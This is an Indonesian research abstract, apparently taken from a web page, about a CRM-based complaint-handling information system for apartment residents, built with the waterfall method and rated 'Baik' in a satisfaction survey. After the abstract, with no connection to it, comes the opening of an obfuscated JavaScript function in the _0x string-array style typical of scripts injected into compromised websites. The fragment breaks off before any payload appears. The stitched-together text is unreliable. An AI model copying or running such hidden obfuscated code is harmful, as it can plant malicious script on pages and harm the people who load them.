PENGEMBANGAN CUSTOMER RELATIONSHIP MANAGEMENT (CRM)
<p>Persaingan bisnis sekarang tidak hanya bertumpu pada kualitas</p><p>produk atau jasa saja, melainkan lebih pada kualitas layanan yang secara</p><p>esensial bersifat unik, bermutu tinggi dan memiliki perbedaan yang kuat akan</p><p>menjadi nilai tambah bagi para Pelanggan, meskipun ada produk atau jasa</p><p>yang sejenis. Penerapan CRM hanya akan optimal apabila dibantu dengan</p><p>dukungan Teknologi Informasi (TI) untuk meningkatkan pengetahuan yang</p><p>mendalam tentang kebutuhan pelanggan, meningkatkan akses bagi pelanggan,</p><p>menciptakan interaksi dengan pelanggan yang lebih efektif dan terpadu</p><p>melalui seluruh channels yang terhubung dengan fungsi internal (back office).</p><p>Tujuan dari penelitian ini adalah pengembangan sistem penangan keluhan</p><p>Penghuni apartemen berbasis Sistem Informasi Manajemen (SIM) terpadu</p><p>untuk usulan perbaikan atau perawatan pada apartemennya.</p><p>Penelitian ini menggunakan metodologi waterfall untuk</p><p>pengembangan SIM nya dengan cara menganalisis kebutuhan setiap</p><p>penggunanya dan membuat perancangan untuk pengembangan sistem</p><p>penanganan keluhan Penghuni apartemen. System request form (SRF)</p><p>merupakan sebuah media pengelolaan data dan informasi penanganan keluhan</p><p>yang diperoleh dari Penghuni kepada pihak Management building. Setelah</p><p>dilakukan survei melalui questioner online yang terdapat pada aplikasi</p><p>menunjukan bahwa tingkat kepuasan Penghuni apartement terhadap sistem</p><p>pelayanan penanganan keluhan yang baru dalam kategori “Baik” </p><p>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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